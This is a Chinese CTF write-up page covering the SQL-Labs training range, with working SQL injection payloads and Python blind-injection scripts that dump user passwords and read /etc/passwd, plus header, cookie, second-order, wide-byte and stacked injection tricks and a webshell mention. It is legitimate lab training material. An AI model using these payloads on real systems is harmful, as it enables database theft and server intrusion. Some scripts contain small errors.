CTF-WriteUp
  • 😅Introduction
  • 🥵Friend
  • 2015
    • 2015 RCTF
      • EasySQL
  • 2016
    • 2016 0CTF
      • piapiapia
  • 2018
    • 2018 网鼎杯
      • Fakebook
      • Comment
    • 2018 BUUCTF
      • Online
    • 2018 WesternCTF
      • shrine
    • 2018 SWPUCTF
      • SimplePHP
    • 2018 HCTF
      • Hideandseek
      • WarmUp
    • 2018 SUCTF
      • GetShell
  • 2019
    • 2019 AuroraCTF
      • Check In
      • Welcome to Aurora
      • ez LFI
      • ssti
    • 2019 Hackergame
      • 签到题
      • 信息安全 2077
      • 达拉崩吧大冒险
      • 网页读取器
    • 2019 RoarCTF
      • Easy Calc
    • 2019 极客大挑战
      • Secret File
      • LoveSQL
      • Knife
      • PHP
      • Http
      • Upload
      • BuyFlag
      • BabySQL
      • FinalSQL
      • RCE ME
      • EasySQL
      • HardSQL
    • 2019 SUCTF
      • check in
      • EasyWeb
      • EasySQL
    • 2019 ZJCTF
      • NiZhuanSiWei
    • 2019 CISCN
      • [华北赛区]Hack World
      • [华北赛区]ikun
      • [华东南赛区]Web11
      • [华北赛区]Dropbox
      • [总决赛]Easyweb
      • [初赛]Love Math
      • [华北赛区]CyberPunk
      • [华东南赛区]Double Secret
    • 2019 强网杯
      • 高明的黑客
      • 随便注
    • 2019 GXYCTF
      • 禁止套娃
      • BabyUpload
      • Ping Ping Ping
      • BabySQli
    • 2019 安洵杯
      • easy_web
      • easy_serialize_php
    • 2019 De1CTF
      • SSRF Me
    • 2019 ASIS
      • Unicorn shop
    • 2019 GWCTF
      • 我有一个数据库
      • 枯燥的抽奖
    • 2019 PwnThyBytes
      • Baby_SQL
    • 2019 BSidesCF
      • Kookie
      • Sequel
    • 2019 FBCTF
      • RCEService
    • 2019 CSCCTF
      • FlaskLight
    • 2019 HarekazeCTF
      • encode_and_encode
    • 2019 SWPU
      • Web1
    • 2019 RootersCTF
      • I_<3_Flask
    • 2019 NCTF
      • SQLi
  • 2020
    • 2020 CTFShow 36D杯
      • 签到
      • rsaEZ
      • justShow
    • 2020 GKCTF
      • Check_In
      • cve版签到
      • 老八小超市儿
    • 2020 CISCN
      • easyphp
      • easytrick
      • rceme
      • babyunserialize
      • littlegame
    • 2020 羊城杯
      • easycon
      • BlackCat
      • easyphp
    • 2020 ACTF
      • Include
      • BackupFile
      • Exec
    • 2020 CTFShow 月饼杯
      • 此夜圆
      • 故人心
      • 莫负婵娟
    • 2020 西湖论剑
      • easyjson
      • newupload
    • 2020 CTFShow 1024杯
      • fastapi
    • 2020 太湖杯
      • checkInGame
      • easyWeb
      • ezMd5
      • CrossFire
    • 2020 ByteCTF
      • Check-In
    • 2020 BJDCTF
      • Easy MD5
      • The mystery of ip
      • ZJCTF,不过如此
      • 假猪套天下第一
      • 简单注入
      • EasySearch
      • EzPHP
    • 2020 网鼎杯
      • [朱雀组]Think Java
      • [青龙组]filejava
      • [青龙组]AreUSerialz
      • [朱雀组]phpweb
      • [白虎组]PicDown
      • [朱雀组]Nmap
    • 2020 MRCTF
      • 你传你🐎呢
      • Ez_bypass
      • PYWebsite
      • Ezpop
      • 套娃
    • 2020 GYCTF
      • Blacklist
      • FlaskApp
      • Ezsqli
    • 2020 BJDCTF
      • old-hack
    • 2020 WUSTCTF
      • 朴实无华
      • 颜值成绩查询
      • CV Maker
    • 2020 NPUCTF
      • ReadlezPHP
      • ezinclude
    • 2020 Zer0pts
      • Can you guess it?
    • 2020 HFCTF
      • EasyLogin
  • 2021
    • 2021 CTFShow DJBCTF
      • veryphp
      • 虎山行
      • spaceman
    • 2021 CISCN
      • easy_sql
      • easy_source
      • middle_source
      • Upload
      • filter
    • 2021 强网杯
      • pop_master
      • Hard_Penetration
      • 寻宝
    • 2021 羊城杯
      • checkin_go
      • Only 4
      • EasyCurl
    • 2021 红明谷
      • JavaWeb
      • write_shell
  • 2022
    • 2022 RealWorld CTF 4th
      • Hack into Skynet
      • RWDN
    • 2022 强网杯
      • babyweb
      • crash
      • easyweb
      • rcefile
      • uploadpro
      • WP-UM
    • 2022 NewStarCTF
      • WEEK1-WEEK2
      • [WEEK3]Maybe You Have To think More
      • [WEEK3]IncludeTwo
      • [WEEK3]BabySSTI_One
      • [WEEK3]multiSQL
      • [WEEK4]BabySSTI_Two
      • [WEEK4]So Baby RCE
      • [WEEK4]UnserializeThree
      • [WEEK4]ROME
      • [WEEK5]Give me your photo PLZ
      • [WEEK5]So Baby RCE Again
      • [WEEK5]BabySSTI_Three
      • [WEEK5]Unsafe Apache
  • 2023
    • HGAME
      • WEEK1
        • Classic Childhood Game
  • 靶场
    • 攻防世界
      • view_source
      • robots
      • backup
      • Cookie
      • disabled_button
      • weak_auth
      • simple_php
      • get_post
      • xff_referer
      • webshell
      • command_execution
      • simple_js
      • Training-WWW-Robots
      • baby_web
      • php_rce
      • PHP2
      • NaNNaNNaNNaN-Batman
    • CTFHub
      • Cookie
      • 请求方式
      • 302跳转
      • 基础认证
      • 响应包源代码
      • 默认口令
    • CTFShow
      • 信息收集
      • 爆破
      • 命令执行
      • thinkphp专题
    • N1BOOK
      • WEB入门
      • WEB进阶1
      • Web进阶2
    • Upload-Labs
    • SQL-Labs
Powered by GitBook
On this page
  • 环境搭建
  • 题解
  1. 靶场

SQL-Labs

环境搭建

docker

题解

less-1 -> less-4

有回显有报错,尝试联合注入。

?id=1' order by 3;--+ # 爆字段数
?id=-1' union select 1,2,database();--+ # 爆库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ # 爆表名
?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema='security' and table_name='users';--+ # 爆字段
?id=-1' union select 1,2,group_concat(username, " ", password) from users --+ #爆字段内容

less-2 去掉单引号即可,不需要闭合。

less-3 的 id 使用了('拼接,使用')闭合即可。

less-4 的 id 使用了("拼接,使用")闭合即可。

less-5 -> less-6

有回显,但是回显格式固定;有报错,猜测是报错注入,这里用了XPath语法报错注入。

注意报错注入限制了返回字符串的长度,可以通过逆序读取字符串、向右读取字符串、字符串截取三种方式绕过限制。

?id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # 爆库名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ # 爆表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ # 爆字段名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(username, " ", password) from users),0x7e),1)--+ # 爆字段内容

less-6使用双引号闭合。

less-7

有回显,没有具体回显信息,但是可以区分是否查询成功;有报错,但是没有输出报错信息,想到可能要用盲注。

提示给出"Use outfile",猜测用户拥有文件读写权限。

于是读取/etc/passwd文件

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select load_file('/etc/passwd')),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

接着读取user表。

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

才学疏浅,看到有姿势知道可以Apache配置文件,获得网站路径。

Apache配置文件路径;

/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>         
ServerAdmin webmaster@localhost          
DocumentRoot /var/www/html         
<Directory />                 
Options FollowSymLinks                 
AllowOverride None         
</Directory>         
<Directory /var/www/html>          

但其实不读也没关系?毕竟通常Apache目录都在/var/www/html/下。

还有正常其实是可以写入文件的,直接exec进去改权限。

docker exec -it 6c7 /bin/bash
chmod 777 /var/www/html/Less-7/

写入文件之后蚁剑一把梭。

Less-8

布尔盲注

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-8/?id=1' and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

Less-9 -> Less-10

时间盲注

iimport requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            payload = "select group_concat(password) from users"
            url = f"http://127.0.0.1:8080/Less-9/?id=1' and if(ascii(substring(({payload}),{i},{i}))>{mid},sleep(3),1)--+"
            start = time.time()
            response = requests.get(url, timeout=5)
            end = time.time()
            if end - start < 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-10

把单引号改成双引号即可。

Less-11 -> Less-14

这关终于有个登录功能了,万能钥匙直接登录。

报错注入数据外带

跟Less-5一样的payload。

Less-12用")闭合。

Less-13用')闭合。

Less-14用"闭合。

Less-15 -> Less-16

报错爆不出来了,只能尝试盲注了。

看了一下源码,原来是不打印报错信息了。

看一下源码

直接单引号闭合盲注完事

import requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-16/"
            data = {
                "uname": f"admin' or if(ascii(substring((select group_concat(password) from users),{i},1))>{mid},sleep(1),1);#",
                "passwd": "1' or 1=1;#"
            }

            try:
                start = time.time()
                response = requests.request("POST", url=url, data=data)
                end = time.time()
                if end - start < 3:
                    right = mid
                else:
                    left = mid + 1
                mid = (left + right) // 2
            except:
                left = mid + 1
        print(chr(mid))

Less-16

改成")完事。

这里脚本写的有点问题,延时的特别久直到timeout,也不懂是啥问题,最后只能用try捕捉了。

Less-17

密码更新功能,是update注入。

源码中打印error信息,报错注入一把梭。

uname=admin&passwd=123456' or updatexml(1,concat(0x7e,database(), 0x7e),1);#

Less-18

User-Agent注入,继续报错注入

username: Dumb
password: Dumb
User-Agent: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-19

Referer注入,和上一题差不多。

username: Dumb
password: Dumb
Referer: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-20

Cookie注入

登录后修改Cookie

' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

Less-21

同Cookie注入,但是被Base64编码

登录后修改Cookie

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Less-22

跟上一题一样,只是闭合方式改成双引号

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAxPSIx

Less-23

又回到了ID注入

多了正则表达式,过滤了两个常见的注释字符,只要使用闭合而不是注释字符即可绕过。

?id=-1' union select 1, (select group_concat(username, " ", password) from users), '3

Less-24

看到有修改密码功能,直接盲猜二次注入。

看一下注册功能。

传入的username被转义,再看一下修改密码功能:

发现这里的$username被直接拼接使用,而没有经过转义,可以石锤二次注入。

注册账号,设置$username

$username=admin' #

再次修改密码,原SQL语句进行拼接,结果为:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

可以直接修改原有账号admin的密码。

Less-25 -> Less-25a

把关键字OR和AND过滤,双写绕过。

?id=-1' union select 1,2,(select group_concat(passwoorrd) from users)--+

25a是数字型注入,不需要闭合。

Less-26 -> Less-26a

这题做的云里雾里,没有很懂后面的原理。

测试了一下,发现空格和注释被过滤了。

这题解法比较多元,可以用异或连接。

?id=1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1

让我们在白盒测试一下,原SQL语句如下:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

拼接后:

$sql="SELECT * FROM users WHERE id='1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1' LIMIT 0,1"

测试一下,经过测试发现数字无论是多少,都会执行中间的updatexml语句,因为要进行异或操作,所以必定会执行XPath语句,然后报错

同理,相同的方法有||,也可以进行绕过。

而空格可以使用%0a绕过,在MySQL中,%0a、%0b等特殊字符都能进行绕过。

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-27 -> Less->27a

大小写绕过即可,只要括号用的够多,是可以绕过空格过滤的。

?id=1'and(updatexml(1,concat(0x7e,(seLect(group_concat(password))from(users)),0x7e),1))and'1'='1

27a将'改为"即可。

Less-28

试了半天,没法报错注入了,一看源码,又把print给注释了。

于是接着盲注。

import requests

if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f"http://127.0.0.1:8080/Less-28/?id=0')||substr(database(),{i},1)>'{ch}';%00"
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-29

看了源代码,注意到有报错提示,id变量用单引号闭合

?id=0' or (updatexml(1,concat(0x7e,database(),0x7e),1)) or '1'='1

注就完事了。

Less-30

这关注释了报错注入提示,但是有回显,可以考虑布尔盲注,也可以使用联合注入,提交的ID被双引号闭合。

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f'http://127.0.0.1:8080/Less-28/?id=0"or(length(database())>=10)="1'
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-31

闭合方式不一样,多了一个",可以使用报错注入,与29类似。

Less-32 -> Less-37

GBK编码注入,利用%df进行宽字节注入。

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

这几题原理类似,不再赘述。

Less-38 -> Less-41

堆叠注入。

?id=1';insert users values(2333,"oatmeal","123456");--+

这几题原理类似,修改闭合方式即可。

Less-42 -> Less-45

password没有过滤,可以堆叠注入。

login_user=admin&login_password=1'%3binsert users value(2333, "oatmeal", "123456")%3b#&mysubmit=Login

Less-46 -> Less-47

注入方式很多,随便注就行。

?sort=1'and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-48 -> Less-49

这两题没有报错回显,盲注就行。区别在单引号上。

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

Less-50 -> Less-53

和前面的堆叠注入exp一样。

PreviousUpload-Labs

Last updated 2 years ago